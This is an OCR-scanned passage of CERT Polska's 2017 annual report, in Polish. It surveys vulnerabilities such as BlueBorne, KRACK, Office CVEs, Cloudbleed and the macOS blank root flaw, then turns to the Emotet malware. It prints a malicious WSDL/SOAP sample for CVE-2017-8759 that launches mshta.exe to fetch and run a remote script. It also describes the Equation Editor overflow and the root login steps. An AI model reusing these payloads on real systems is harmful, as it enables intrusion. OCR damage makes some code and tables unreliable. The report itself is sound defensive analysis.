CVE-2017-5707.

Ominiecie podpisu cyfrowego umozliwia niepodpi-
sany plik /home/bup/ct w komponencie

“BringUP platform” (BUP), odpowiedzialnym za
wstepng inicjalizacje hardware’u. Fakt ten pozwala
na zamiane pliku na zmodyfikowana wersje za
pomoca programatora SPI. Badaczom udato sie

112 http://blog.ptsecurity.com/2017/08/disabling-in-
tel-me.html

113 https:/github.com/corna/me_cleaner
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réwniez uzyska¢ mozliwosc zapisu do dowolnego
miejsca w pamieci ME za pomocg podatnej funk-

cji bup_dfs_read_file''*. Umozliwito to wiaczenie
trybu serwisowego i mozliwos¢ debugowania kodu
za pomocg interfejsu JTAG. Znaleziono okoto piec-
dziesieciu wewnetrznych urzadzen do ktoérych Intel
Management Engine posiada peten dostep, co

w kontekscie faktu, ze CPU ma dostep tylko do kilku
z nich, moze budzi¢ zdziwienie.

BlueBorne

W dniu 15 wrzesnia 2017 r. firma Armis podzielital?>
sie z opinig publiczng wynikami swojej pracy doty-
czacej protokotu Bluetooth. Badania wykazaty osiem
powaznych btedow w najbardziej znanych imple-
mentacjach stosu tego protokotu, ktére jako grupa
zostaty nazwane BlueBorne.

Wedtug szacunkéw, z technologii Bluetooth korzy-
sta okoto 8,2 miliarda urzadzen na catym swiecie,

z czego w chwili ogtoszenia, podatnych na atak byto
ponad 5 miliardow.

W wiekszosci przypadkéw atakowane urzadzenie

nie musi by¢ sparowane z urzagdzeniem atakujgcego.
Woynika to z prowadzenia ciggtego nastuchu ruchu
unicastowego skierowanego do urzadzenia, nawet
jezeli przetagczono je w tryb niewykrywalnosci.
Wymaga to znajomosci adresu BDADDR - odpo-
wiednika MAC - ktéry jednak mozemy pozyskac
podstuchujac transmisje. Jezeli zadne dane nie s
transmitowane, a aktywny jest modut WiFi, czesto
jestesmy w stanie domyslic sie tej wartosci. Posiada-
jac adres fizyczny karty sieciowej, wystarczy wyliczy¢
poprzedni lub nastepny adres. Wielu producentow
w taki sposéb adresuje urzadzenia sieciowe w swoich
produktach.

114 https:/www.blackhat.com/docs/eu-17/materials/
eu-17-Goryachy-How-To-Hack-A-Turned-Off-
Computer-Or-Running-Unsigned-Code-In-Intel-Manage-
ment-Engine-wp.pdf

115 https:/www.armis.com/blueborne/

Fluoride!'$, do niedawna znany jako Bluedroid,

to stos Bluetooth domyslnie uzywany w syste-

mie Android od wersji 4.2 (wczes$niej korzystano

z BlueZ, komponentu jadra linux). Znalezione

w nim btedy pozwalaja na zdalne wykonanie kodu
(CVE-2017-0781, CVE-2017-0782 - przepetnienie
buforu sterty), wyciek informacji (CVE-2017-0785
- out of bounds read, jak w przypadku heartbleed),
a takze atak Man-in-The-Middle (CVE-2017-0783).

Wstrzykniety kod dziata w obrebie przestrzeni
uzytkownika, jednak ze wzgledu na funkcjonalno$¢
bluetooth, ma wiele uprawnien.

Sa to m.in.:

e dostep do plikéw przechowywanych na
urzadzeniu

operacje na SMS (odczyt, zapis, odbidr i wysytka)
wykonywanie potaczen i dostep do ich historii
zarzadzanie interfejsami sieciowymi

dostep z mozliwosciag wprowadzania zmian do
ustawien urzadzenia

Linux jest systemem operacyjnym, z ktérego korzy-
sta szeroka gama urzadzen. Jego implementacja
stosu protokotu nosi nazwe BlueZ. Wszystkie
urzadzenia z niego korzystajgce zostaty dotkniete
btedem umozliwiajacym wyciek danych (CVE-
2017-1000250 - odczyt out-of-bounds ze sterty).
Ponadto urzadzenia z Linuxem od wersji 2.6.32
(wydanej w lipcu 2009) do 4.14 (wydanej 12 listo-
pada 2017) umozliwiajg zdalne wykonanie kodu
(CVE-2017-1000251 - przepetnienie bufora stosu).
Ze wzgledu na to, ze BlueZ dziata jako modut

jadra systemu, wstrzykniety kod wykonywany jest
Z najwyzszymi uprawnieniami.

Wszystkie wersje systemu Windows, poczawszy
od Windows Vista, podatne sg na atak Man-in-The
-Middle (CVE-2017-8628).

116 https:/chromium.googlesource.com/aosp/platform/
system/bt/+/272c9711bc6363f0b32c48a86d71726hd-
d9abfd?/README.md



76

CERT Polska
Raport Roczny 2017

nask CERT.PL

Urzadzenia marki Apple réwniez zostaty dotkniete
ta klasg btedow. Wszystkie iPhone'y, iPady i iPody
touch z systemem iOS 9.3.5 i nizszym, a takze
AppleTV z systemem 7.2.2 i nizszym podatne sg na
atak zdalnego wykonania kodu (CVE-2017-14315 -
przepetnienie bufora sterty).

Problemem Bluetootha jest nadmierna komplikacja
jego architektury. Zbyt wiele specyficznych proce-
sow dziata w ramach stosu protokotu, a sktadowe
tych proceséw s3 czesto powielane na réznych
warstwach. Obecna specyfikacja technologii zawiera
2 822 strony, co w poréwnaniu z 450 stronami opisu
WiFi (802.11) jest naprawde imponujacym wynikiem.

Ta ztozonos$¢ latami odciggata badaczy od zagte-
bienia sie w tajniki protokotu. Skupiali sie jedynie

na znalezieniu btedéw w samej specyfikacji, a nie
poszczegdlnych implementacjach. Znaleziono tak
m.in. stabosci w procesie wymiany kluczy kryptogra-
ficznych, ktore zostaty poprawione w wersji 2.1%7
protokotu.

Zjawisko BlueBorne jest wyjgtkowe pod wzgle-
dem obrony systeméw informatycznych. Btad ten
teoretycznie umozliwia przedostanie sie do infra-
struktury od strony, ktéra nie jest monitorowana
przez wiekszos¢ rozwigzan z zakresu ochrony
teleinformatyczne;j.

Ze wzgledu na zakoniczenie wsparcia dla milionéw
urzadzen, nie otrzymaja one nigdy aktualizacji i pozo-
stang podatne. Z tego wzgledu zagrozenie bedzie
istniec tak dtugo, jak urzadzenia te bedg istnie¢

W naszym otoczeniu.

KRACK

16 pazdziernika 2017 r. Srodowiskiem IT wstrzasneto
niecodzienne wydarzenie. Mathy Vanhief opubli-
kowat raport!'® o powaznym btedzie w specyfikacji
WPAZ2, powszechnie uzywanego mechanizmu
bezpieczenstwa uzywanego w sieciach WiFi.

117 https:/en.wikipedia.org/wiki/Bluetooth#Blue-
tooth_ 2.1 + EDR

118 https:/papers.mathyvanhoef.com/ccs2017.pdf

Luka otrzymata nazwe KRACK (Key Reinstallation
Attack). Umozliwia ponowne wykorzystanie klucza
kryptograficznego uzywanego do szyfrowania trans-
misji, co znaczaco ostabia bezpieczenstwo i pozwala
na kolejne ataki.

Nawiazanie potaczenia z siecig bezprzewodowa
wymaga wykonania czterostopniowego procesu'?’
(tzw. handshake, z ang. uscisk dtoni) w celu wyne-
gocjowania przez obie strony nowego klucza
kryptograficznego. Zostaje on pobrany i zainstalo-
wany przez klienta w kroku #3. Jednak jezeli pakiet
z tg wiadomoscia nie dotrze do klienta - lub klient
nie poinformuje drugiej strony o odbiorze (wiado-
mosc¢ #4), punkt dostepu moze wysta¢ go ponownie.
W rezultacie klient moze odebrac wiecej niz jedng
wiadomosé, za kazdym razem ustawiajac ten sam
klucz. Prowadzi to do zresetowania parametru
nonce, ktory zawsze powinien by¢ inny, na warto$¢
domyslna.

Wymuszajac ponowne wykorzystanie tej wartosci,
protokét moze zostaé zaatakowany: pakiety moga
by¢ ponownie wysytane, odszyfrowywane lub odrzu-
cane z transmisji.

STA #1 AP
AMNonce
<€
STA constructs
the PTK
#2
SNonce + MIC ’
AP constructs
#3 the PTK
‘ GTK + MIC
#4
Ack ’

Schemat 4. Schemat wymiany wiadomosci w tzw.
four-way handshake standardu 802.11.

119 https:/en.wikipedia.org/wiki/IEEE_802.11i-
2004#Four-way_handshake
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Na atak szczegdlnie podatne sg urzadzenia pod
kontrola systemdw operacyjnych Android i Linux,
poniewaz uzywaja klienta wpa_supplicant. W wersji
2.4 i wyzszej korzysta on z mechanizmu czyszcze-
nia klucza z pamieci po jego pierwszym ustawieniu.
W przypadku, gdy wiadomos$¢ #3 zostanie wystana
po raz kolejny, bedzie uzyty pusty klucz, sktadajacy

sie z ciggu zer. Taka sytuacja umozliwia bardzo proste
przechwycenie ruchu i manipulacje przesytanymi
danymi.

Wiecej o podatnosci KRACK mozna przeczytaé na
naszym blogu'?.

Frameworki i oprogramowanie

Pakiet Office

Rok 2017 zostanie zapamietany jako staba passa
bezpieczenstwa pakietu Microsoft Office. Mimo, ze
w porownaniu do roku 2016, podatnosci byto mniej
(39 do 48 w 2016), to byty one szeroko wykorzy-
stywane w kampaniach malware, skierowanych na
zwyktych uzytkownikow oraz w atakach APT.

CVE-2017-0199

CVE-2017-0199 to luka wykryta przez firme FireEye
podczas analizy kampanii mailingowej. Wykorzysty-
wata btad logiczny w parserze plikéw HTA (HTML
Application) - mshta.exe. Pliki HTA s3 traktowane
przez system Windows jako programy wykonywalne,
z ta réznica, ze sktadaja sie z technologii: HTML,
DHTML, VBScript lub JScript.

Pakiet Office w przypadku wykrycia zapotrzebowa-
nia przez otwarty dokument dodatkowego obiektu
OLEZ2, ktérym jest plik HTA, pobiera go do lokali-
zacji tymczasowej. Nastepnie uruchamia, poprzez
zadanie DCOMLaunch, ustuge parsera w kontekscie
svchost.exe. Plik HTML Application zawiera w sobie
zaciemniony skrypt VisualBasic, uruchamiajacy
powershell.exe, ktory pobiera i uruchamia ztosliwe
oprogramowanie.

W obserwowanych przez FireEye atakach pobierany
byt dodatkowo dokument Word, majacy na celu
ukrycie niepozadanej dziatalnosci mshta.exe poprzez
otwarcie go nad okienkiem droppera.

Microsoft Word
I__ This document contains links that may refer to other files, Do you want to update this document with the data from the linked files?
| Show Help = >

Rysunek 26. Komunikat wyswietlany uzytkownikowi
przy aktualizacji otwartego dokumentu

120 https:/www.cert.pl/news/single/podatnosc-w-pro-
tokole-wpa2-key-reinstallation-attacks-forcing-nonce-re-
use-wpa2/
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CVE-2017-0261 & CVE-2017-0262

Obie podatnosci dotycza zdalnego wykonania kodu
w logice przetwarzania dokumentéw Encapsulated
PostScript (EPS). Wykorzystywane byty jako O-day
w operacjach rosyjskich grup APT: Turla oraz APT28
i niezidentyfikowanego aktora o motywacjach
finansowych. Kazdy exploit na zero-day’e zawierat
dodatkowy exploit umozliwiajacy obejscie zabez-
pieczen sandboksa, w ktérym uruchomiony jest
program fltldr.exe - parser plikow EPS.

CVE-2017-0261 to luka typu Use-After-Free

w parserze przetwarzajagcym operand “restore”
jezyka PostScript. “Restore” wywotuje mechanizm
zwalniania pamieci maszyny wirtualnej PostScript,
ktéra zostata zaalokowana od ostatniej operaciji
“save”. Wykorzystujac wtasnosci tego operandu

za pomocg kilkukrotnego wywotania na tablicy,
mozna doprowadzi¢ do sytuacji, w ktorej atakujacy
kontroluje zapis i odczyt na stercie. Po uzyskaniu
mozliwosci manipulacji pamiecia, exploit budowat
ROP-chain, za pomocg ktérego zmieniat upraw-
nienia pamieci dla dostarczonego shellcode’u i go
uruchamiat. Aby uciec z sandboksa wykorzystywana
byta podatnos¢ CVE-2017-0001 w komponencie
Graphics Device Interface (GDI).

Btad CVE-2017-0262 wykorzystuje brak walidacji
typu obiektu dla operandu “forall”. Exploit na te luke
dostarczany byt w dokumentach MS Office z opisem
dziatan wojskowych prowadzonych przez USA

w Syrii. Exploit na poczatku dziatania umieszczat

w pamieci dane pozwalajace na znalezienie kontro-
lowanego bufora. Po tej operacji nastepowato
utworzenie obiektu typu “Array” i wywotanie na

nim operacji “forall”. W tym momencie dla kazdego
elementu tablicy byta wywotywana procedura jako
liczba szesnastkowa: OxD80D020. Po jej wyko-
naniu exploit wyszukiwat gadzety ROP i budowat
shellcode poprzez operator PostScript “bytesavaila-
ble”. Exploit wykorzystywat luke CVE-2017-0263
stuzaca do ominiecia zabezpieczen sandboxa. Po

tej operacji uruchamiany byt dropper ztosliwego
oprogramowania.

Firma Microsoft w aktualizacjach udostepnionych
w kwietniu 2017 r. zablokowata mozliwosé auto-
matycznego parsowania dokumentéw EPS. Warto

rowniez wspomniec, ze parser plikéw EPS fltldr.exe
nie jest domys$lnie monitorowany przez srodowisko
EMET.

CVE-2017-8759

Kolejna luka to CVE-2017-0199, wykorzystywana
do infekcji rodzing ztosliwego oprogramowania

o nazwie FINSPY (atak skierowany na osoby poro-
zumiewajace sie w jezyku rosyjskim za pomoca
dokumentéw RTF). Btad umozliwia wstrzykniecie
kodu do wykonania podczas parsowania dokumentu
opisujacego ustuge w formacie WSDL. Podat-

nos¢ ujawnia sie podczas wykonywania metody
PrintClientProxy.

Btad byt klasycznym przypadkiem pominiecia
jednego warunku do walidacji - metoda nie spraw-
dzata czy dostarczony string zawiera znaki CRLF
(carriage return oraz line feed). Poprzez podanie
drugiego adresu w odpowiedzi SOAP, atakujacy
komentowat wtasciwy kod zwigzany z parsowaniem
odpowiedzi i wstrzykiwat swoje instrukcje.

Ponizej zostat przedstawiony przyktad ztosliwego
komunikatu SOAP zawierajacego polecenie do wyko-
nania: C:\Windows\System32\mshta.exe?https:/
cert.pl/example_cmd.jpg:

<definitions
xmins="http:/schemas.xmlsoap.org/wsdl/”
xmlns:soap="http:/schemas.xmlsoap.org/wsdl/
soap/”
xmlns:suds="http:/www.w3.org/2000/wsdl/suds”
xmlns:tns="http:/schemas.microsoft.com/clr/ns/
System”
xmlIns:nsO="http:/schemas.microsoft.com/clr/
nsassem/Logo/Logo”>
<portType name="PortType"/>
<binding name="Binding" type="tns:PortType”>
<soap:binding style="rpc” transport="http:/sche-
mas.xmlsoap.org/soap/http”/>
<suds:class type="ns0:Image”
rootType="MarshalByRefObject”></suds:class>
</binding>
<service name="Service">
<port name="Port” binding="tns:Binding">
<soap:address location="https:/example.
com?C:\Windows\System32\mshta.exe?https://cert.
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pl/example_cmd.jpg”/>
<soap:address location=";
if (System.AppDomain.CurrentDomain.
GetData(_url.Split("?")[0]) == null) {
System.Diagnostics.Process.Start(_
url.Split("?)[1], _url.Split(‘>")[2]);
System.AppDomain.CurrentDo-
main.SetData(_url.Split(‘?")[0], true);
Y >
</port>
</service>
</definitions>

CVE-2017-11882

Podatnos¢ w starym komponencie Equation Editor

wykorzystywanym przez Microsoft Office, odkryta

przez badaczy holenderskiej firmy Embedi. Sposéb

wyszukania interesujacych sktadowych pakietu

biurowego byt bardzo prosty: specjalisci ds. bezpie-

czenstwa przeskanowali binaria z catego katalogu

Office 2016 za pomoca darmowego narzedzia

Microsoft - BinScope. Zadaniem tego programu

jest identyfikacja potencjalnych stabosci bezpie-

czenstwa w programie. Po krétkiej analizie zostaty

zidentyfikowane najstarsze komponenty wraz ze

stabos$ciami:

® Microsoft Equation Editor - brak podstawowych
mechanizméw bezpieczenstwa ustawianych na
etapie kompilacji

e Sterowniki ODBC and Redshift libraries - brak
podstawowych mechanizméw bezpieczenstwa
ustawianych na etapie kompilacji

e Sterowniki ODBC drivers i biblioteki Salesforce
- brak podstawowych mechanizméw bezpieczen-
stwa ustawianych na etapie kompilacji

e Komponenty w .NET odpowiedzialne za interfejs
uzytkownika

Microsoft Equation Editor (plik EQNEDT32.EXE)
jest modutem, ktérego obszarem wykorzystania
sg réwnania matematyczne umieszczane w doku-
mencie Office. Analiza pliku wykazata, ze zostat
skompilowany 9 listopada 2000 roku, co oznacza,
ze przez prawie 17 lat Microsoft dotaczat go do
pakietu biurowego bez rekompilacji. Prawdo-
podobnie tak dtugi czas zycia tego rozwiazania
spowodowany jest utrzymaniem kompatybilno$ci
wstecznej z rownaniami, ktére powstaty w doku-
mentach tworzonych w starszych wersjach niz
Office 2007.

Brak podstawowych mechanizmoéw bezpieczenstwa
dodawanych przy kompilacji powodowat, ze ataku-
jacy moégt w postaci DEP czy ASLR wykorzystac
kazdy znaleziony btad. Kazde réwnanie w dokumen-
cie jest obiektem OLE i wykorzystuje COM. Taka
budowa wymaga dziatania serwera COM, ktérym
w tym wypadku jest OutPorc COM. Na korzys$¢
atakujgcego przemawia fakt, ze serwer jest urucho-
miony w innej przestrzeni adresowej niz procesy
Office (Word, Excel). Powoduje to, Zze wszystkie
mechanizmy bezpieczenstwa, ktére chronig pakiet
biurowy, nie maja tutaj zastosowania.

Podatno$¢ byta klasyczng lukg przepetnienia
bufora na stosie w funkcji odpowiedzialnej za
kopiowanie danych, w reprezentacji uzywanej na
potrzeby wewnetrzne, do bufora (adres tej funkcji
to 0x00421774; brak symboli). Zmienna bedaca
celem przepetnienia znajdowata sie w strukturze
LOGFONTA. Problem wystepuje podczas kopio-
wania nazwy czcionki - jezeli nazwa fontu jest
dtuzsza niz 40 bajtéw, nastepuje nadpisanie zapi-
sanej wartosci rejestru EBP oraz adresu powrotu
na stosie. Za pomocg wpisania adresu funkgcji
wywotujacej polecenia systemowe np. WinExec(),
a w nazwie czcionki wpisujac polecenie do wyko-
nania, atakujgcy otrzymywat mozliwos$¢ wykonania
dowolnego polecenia w systemie ofiary.
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Cloudbleed

“Cloudbleed” to bardzo d 4 4
interesujgca podatnoséé, d 4 4
ktérej odkrycie byto #cloudbleed

kwestig catkowitego przy-
padku, i ktérej przydomek zostat nadany na wzér

niechlubnego “Heartbleeda"?! - pierwszej podatno-
$ci z nazwa, logiem oraz wtasng strong internetowa.

Badacz zespotu Google Project Zero, Tavis
Ormandy, podczas zbierania danych do zestawu
testowego swojego fuzzera, napotkat anomalie
w pozyskanych danych.

Po ich analizie okazato sie, ze nie byt to btad

w kodzie projektu Ormandy’ego, tylko powazny
problem po stronie serweréw brzegowych firmy
CloudFlare. Na skale incydentu miat wptyw fakt,
ze ustugi tej firmy: CDN, ochrona przeciwko DDoS
czy WAF s3 szeroko wykorzystywane, zarowno
przez uzytkownikow prywatnych jak i wielkie
przedsiebiorstwa. Wedtug informacji pochodzacych
z oficjalnej komunikacji firmy chroni ona okoto 6
milionéw stron WWW i dziennie zyskuje okoto
20000 klientow??2,

Problem pojawiat sie w momencie parsowania
stron zawierajacych specyficzng kombinacje tagéw
HTML, co powodowato btedy w parserze po
stronie serwera i zwracanie w odpowiedzi czesci
pamieci operacyjnej serwera. Wedtug badacza
btad zostat popetniony w ustudze ScrapeShield'®
pozwalajgcej na ochrone zawartosci strony korzy-
stajacej z ustug CloudFlare (m.in zaciemnienie
zawartosci poprzez parsowanie HTML w “locie”).

121 http:/heartbleed.com/

122 https:/hostadvice.com/blog/cloudflare-making-web-
site-fast-safe-accessible-everywhere-world/

123 https:/blog.cloudflare.com/introducing-scrapesh-
ield-discover-defend-dete/

W danych pobranych przez badacza znalazty sie
takie informacje jak klucze szyfrujace, hasta, pliki
cookies oraz dane z zadan HTTP POST. Problem
dotyczyt wielu dostawcéw ustug takich jak Uber,
FitBit czy OKCupid. Wedtug Cloudflare problem
ujawniat sie w 0.00003% zadan do proxy, a sama
luka byta wynikiem pomytki w warunku podczas
operacji na wskaznikach, czyli w trakcie poréwny-
wania wykorzystanym operatorem byt “==" zamiast
“>="_W kontekscie tego btedu ciekawe jest to, ze
podatny kod zostat wygenerowany przez kompila-
tor Ragel'?*. Nie jest to jednak wina tego projektu,
poniewaz btad zostat popetniony przez programiste
dostarczajagcego kod do Ragela.

Cloudflare szybko uporato sie z problemem. Wiele
serwisow branzowych zalecito zmiane haset
wszystkim korzystajagcym z ustug “ukrywajacych
sie” za Cloudflare. Niektore dane zostaty zaindek-
sowane przez wyszukiwarke Google, lecz Project
Zero wraz Cloudflare zidentyfikowato mozliwe
wycieki informacji oraz usuneto wyniki wyszuki-
wania zawierajgce prywatne dane. Dodatkowo
rozpoczeto prace nad nowym parserem HTML

w Cloudflare!?.

124 http:/www.colm.net/open-source/ragel/

125 https:/blog.cloudflare.com/incident-report-on-mem-
ory-leak-caused-by-cloudflare-parser-bug/
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MacOS blank root

28 listopada 2017 r. Internet obiegta informacja
o krytycznym btedzie (CVE-2017-13872) zwigzanym
z logowaniem w najnowszej wersji systemu MacOS.

Podatnos$¢ miata pozwalac na uzyskanie dostepu do
konta root bez jakiejkolwiek znajomosci hasta. Co
gorsza, jesli uzytkownik posiadat wtaczony serwis do
zdalnego zarzadzania pulpitem, to atak mégt zostac
wykonany nawet zdalnie.

Co wiecej, okazato sie, ze podatnosc¢ zostata tak
naprawde zauwazona dwa tygodnie wczesniej na
forum wsparcia firmy Apple, gdzie zostata zapropo-
nowana jako rozwigzanie problemu uzytkownika,
ktory stracit dostep do kont administracyjnych po
aktualizacji do macOS High Sierra. Autor odpowie-
dzi prawdopodobnie sam nie zdawat sobie wtedy
sprawy z wagi opisanego obejscia?.

2

Lemi Orhan Ergin
@lemiorhan

( Follow v

Dear @AppleSupport, we noticed a
*HUGE* security issue at MacOS High
Sierra. Anyone can login as "root" with
empty password after clicking on login
button several times. Are you aware of it
@Apple?

10:38 AM - 28 Nov 2017

12,677 Reweets 15,947 Likes (@ ‘3 é; t a F e Q €1
O 1k 17 13K 7 16K
Lemi Orhan Ergin @iemiarhan - 28 Nev 2017 ~

You can access it via System Preferences>Users & Groups>Click the lock 1o
make changes. Then use "root” with no password. And try it for several times.
Result is unbelievable!

Users & Groups

= System Preferences is trying to uniock Users &
Groups preferences.

| l_ n Enter an administrator s name and password to ssword..
allow this.

User Name: ructi

Password:

Solution 2:

(standard user).

next,

Actions -

PS. Solution 2 worked for me. Mo idea how or why. Hope this helps.

If you're unable to login at startup using username: root and empty password, then login with your existing account

Again, head over to System Preferences>Users & Groups. Click on the Lock lcon. When prompted for username and
password, type username: root and leave the password empty. Press enter. This might throw an error, but try again
immediately with the same username: root and empty passwaord. This should unlock the Lock Icon. If it does, try Solution 1

This helped me (24)

126 https:/forums.developer.apple.com/thread/79235
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Patrick Wardle, autor bloga Objective-See, doko-

nat analizy btedu i odkryt, ze przyczyna podatnosci
byt btad logiczny, ktéry dotyczyt nie doktadnego
sprawdzania warto$ci zwracanej przez funkcje
poréwnujacag wpisane hasto z zapisanym hashem

w sytuacji, gdy uzytkownik nie posiada pliku
shadow!?’. Ma to szczegdlne znaczenie w momencie,
gdy uzytkownik na ktérego probujemy sie zalogo-
waé, jest wytaczony, a co za tym idzie nie posiada
wspomnianego pliku, jak ma to miejsce domyslnie dla
uzytkownika root.

var_54 = Bx138B;
if (od_verify.crypt_ password{var_ 7@, rax, var_B@, &var_54, &var_ 41) 1= @x@) {
it (#0x29398 != BxFIEFFFTrrfifrifs) 4
dispatch once(@x29a8@, = {/+ block implemented at sub_16635 =/ } })

if (os_log_type_enabled{*+Bx20aB8, Bxl) != 8xB) {

rl2 = *x@x29a88;

{int16_t =) (rsp + BxFFEFFIFAFFFFrfifal = Bx@;

_os_log implirip + BxfffFffffffff7o23, ri2, 8x1, "found crypt password in use

Fsp = rsp;
rls = var_78;
}
sub_13d8diarg?, var_6@8);
sub_14324{var_78, var_h®, var_B8, var_58, rl5,
rsp = (rsp — 8x18) + Bx10;
}

r—record - upgrading

var_6@, argl);

Rysunek 27. Fragment kodu btednej funkcji weryfikujacej hasto

Funkcja od_verify_crypt_password sprawdza miedzy
innymi réwnowarto$¢ hasha podanego hasta oraz
zapisanego hasha uzytkownika i zapisuje wynik

w referencji var_54. Jednak przy wywotaniu funk-
cji, sprawdzana jest tylko wartos$¢ bezposrednio
zwracana, a przekazywana przez referencje wartos$c
var_54 jest pomijana. Co oznacza, ze, funkcja moze
zakonczyc¢ sie sukcesem, nawet jesli wartosci hashy
sg kompletnie rézne.

Jesli funkcja od_verify_crypt_password faktycznie
zakonczy sie sukcesem, to podane hasto jest przeka-
zywane do funkgcji skrétu i nastepnie zapisywane do
pliku hash wtaczonego juz uzytkownika, dzieki czemu
przy drugiej probie logowania tym samym hastem,
uzytkownik zostaje zalogowany.

Po wprowadzeniu wzglednie prostej tatki (spraw-
dzanie wartosci var_54) okazato sie, Zze nowa wersja
oprogramowania psuje pewne funkcjonalnosci
zwigzane z udostepnianiem plikéw i pozostawia
uzytkownikéw bez dostepu do dzielonych doku-

127 https://objective-see.com/blog/blog_0x24.html

mentow!?8, Apple szybko wydato notke zawierajaca
instrukcje naprawienia btedu i opublikowato kolejng
aktualizacjg*?.

Niestety rozwigzanie rowniez nie byto perfekcyjne,
zaktualizowanie macOS 10.13.0 do 10.13.1 po wgra-
niu tatki cofato zmiany, uzytkownik znowu stawat sie
podatny i musiat ponownie wgrywac tatke. Nie byt
to jednak koniec catej sytuacji, poniewaz okazato sie,
ze nalezy zrestartowa¢ komputer, aby by¢ catkowicie
chronionym przed CVE-2017-13872.

128 https:/blog.malwarebytes.com/threat-analy-
sis/2017/12/yet-another-flaw-in-apples-iamroot-bu-
g-fix/

129 https:/support.apple.com/en-us/HT208317
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Exim

Exim jest popularnym serwerem poczty elektronicznej,

uzywanym przez okoto 600 tys. urzadzen udostepnia-
jacych ustuge SMTP do Internetu?z°,

23 listopada 2017 r. analitycy z Devcore, firmy konsul-

tacyjnej z zakresu IT security, poinformowali autoréw
oprogramowania o dwoch wykrytych podatnosciach
w oprogramowaniu. Otrzymaty one nastepujace CVE:

CVE-2017-16943 (Remote Code Execution przez
use-after-free)
CVE-2017-16943 (Denial of Service)

Szacuje sie, ze w momencie ogtoszenia informacji na
temat luk, podatnych byto okoto 150 tys. serweréw
dostepnych z poziomu Internetu. Wraz ze zgto-
szeniem, autorzy badania upublicznili informacje

o lukach catemu $wiatu, co mogto spowodowac
masowga exploitacje, jednak tego typu dziatania nie
zostaty zarejestrowane.

Dnsmasq

Dnsmasq to popularne narzedzie petniagce funkcje
okrojonego z funkcjonalnosci serwera DNS i DHCP.
Jest wykorzystywany przede wszystkim w matych
sieciach domowych na routerach dzielagcych tacze
internetowe (NAT), a takze na urzadzeniach z rodziny
loT przez miliony uzytkownikéw na catym swie-

cie. Zespot bezpieczenstwa firmy Google - Project
Zero - na poczatku pazdziernika opublikowat wynik
swoich badan nad tym pakietem. Wykryli siedem
powaznych podatnosci:

130 stan na listopad 2017, dane ze scans.io

CVE Typ Wektor B X7A#4AiE
CVE- Wykonanie Przepetnienie
2017- kodu DNS bufora stert
14491 Y
CVE- . .
2017- \szkonanle DHCP I;rz;ap:‘e’mtlexe
1449, Kodu ufora sterty
CVE- . .
2otz kerenie ouce (ETARE
14493

CVE- .

2017- X]forﬁ';m DHCP N
14494 J

CVE- Blokada Brak mechani-
2017- dostepu do DNS zmu zwalniania
14495  ustugi pamieci
CVE-  Blokada Niedomiar liczb
2017- dostepudo  DNS o Honite Y
14496  ushugi .
CVE- Blokada Niedomiar liczb
2017- dostepu do DNS catkowitei Y
13704  ustugi .

Tabela 5. Podatnosci znalezione w pakiecie Dnsmasq

Zespot wspodtpracowat z autorem narzedzia Simo-
nem Kelley'em w celu wydania odpowiednich tatek,
ktére udato sie wypusci¢ wraz z publikacja informacji
o podatnosciach.

Przez to, ze luki nie sg tatwe do wykorzystania, nie
zaobserwowano atakéw z ich udziatem na publicznie
dostepne serwery. Warto jednak podkresli¢, ze wiele
urzadzen wbudowanych korzystajgcych z dnsmasq
nigdy nie otrzyma aktualizacji i przez dtugi czas
bedzie stanowi¢ zagrozenie dla reszty sieci.
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Malware

Emotet

Emotet stanowit jedna z wyrézniajacych sie rodzin,
ktére w 2017 roku pojawiaty sie w polskich kampa-
niach ztosliwego oprogramowania. Oprogramowanie

z tej rodziny po raz pierwszy zostato zaobserwowane
w czerwcu 2014 roku, pojawiajac sie w spamie wycelo-
wanym w klientéw niemieckich i austriackich bankéw.

Swoja dziatalno$¢ Emotet rozpoczat jako zaawanso-
wany banker. Pierwsze wersje tego oprogramowania
byty gtdéwnie wykorzystywane do wykradania pienie-
dzy z kont zainfekowanych ofiar. Przejmowanie kont
odbywato sie z uzyciem techniki Man-in-the-Browser,
polegajacej na przejeciu kontroli nad przegladarka

i przechwyceniu komunikacji sieciowej przez podstuchi-
wanie wywotan odpowiednich funkgcji systemowych.

Od momentu swojego debiutu, ztosliwy kod ulegt
znacznej ewolucji. Jego druga wersja charaktery-
zowata sie modularng budowg, w ktérej zadaniem
gtéwnego pliku wykonywalnego byta rejestracja bota
i pozyskanie z serwera C&C modutéw petnigcych
konkretne zadania. Wérod modutéw mozna byto
odnalez¢é m.in. modut bankowy, modut rozsytajacy
spam (wykorzystywany do dalszej dystrybucji opro-
gramowania), a takze modut wykradajacy adresy
e-mail z ksigzki adresowej programu Microsoft
Outlook. Kolejne wersje dystrybuowane byty juz
znacznie szerzej, w mailach podszywajacych sie pod
znane firmy telekomunikacyjne i kurierskie. Emotet
zaczat pojawiac sie réwniez w Polsce.

Na poczatku kwietnia 2017 r. zaobserwowalismy

w Polsce szerokg kampanie spamowa, w ktérej byty
dystrybuowane fatszywe maile pochodzace rzekomo
od firmy kurierskiej DHL. Maile zawieraty odno-

$nik prowadzacy do nieznanej wczesniej, czwartej
wersji ztosliwego oprogramowania. Najistotniejszg
zmiang, wyrdzniajacg nowg wersje byto porzuce-

nie modutu bankowego, ktéry byt wykorzystywany
przez poprzednie warianty tej rodziny. Zwiekszyta sie

SprawdZ stan przesylbl OHL

Informujemy, ze w serwisic DHL24 zoslalo ecenie realzac fhi. kire] jestes odbiorca,
Dans zlecenia
- prresylka numer
4613390746
- dals zozenia ziecenia
poniedzialek, 03. kwistnia
Podglad aktywnych 2 oy jest pod ad ity Jighi24 com pliorzesylkarinta it~ (2 v2Scriot Rapart)
4]
Prresyka pninna byt d tepnego dnla rbacragn pa dni ] nadania
W prrypadics niekdarych ohazaréu okredlonyth 72 pomeca adéw pacrtowyth, dostanych w Contaet Ceter tsrminy dorecref prassyiek o wadre ponad 31 5 kg

wynonza do 2 dni obocrych
Nz wiadoimasé 20stal wygeneronana aubmatycznie

Drighujemy 2a skorzyslanie  naxeych ushiq i apikaci DHL24:

DHL Parced (Poland) Sp. 700

UWAGA: Wiadomaos¢ ta zostala wygenarowana automatycznie, Prosimy nie odpowiadad funkeia ReplyOdpowiedz

Rysunek 28. Schemat komunikacji ztosliwego opro-
gramowania Necurs

natomiast rola modutéw zwigzanych z wykradaniem
danych i rozsytaniem spamu.

Istotne zmiany zaszty rowniez w protokole
komunikacyjnym, wykorzystywanym do komuni-
kacji z serwerem C&C. W poprzednich wersjach
wiadomosci szyfrowane byty z wykorzystaniem
algorytmu RC4, z losowo generowanym kluczem
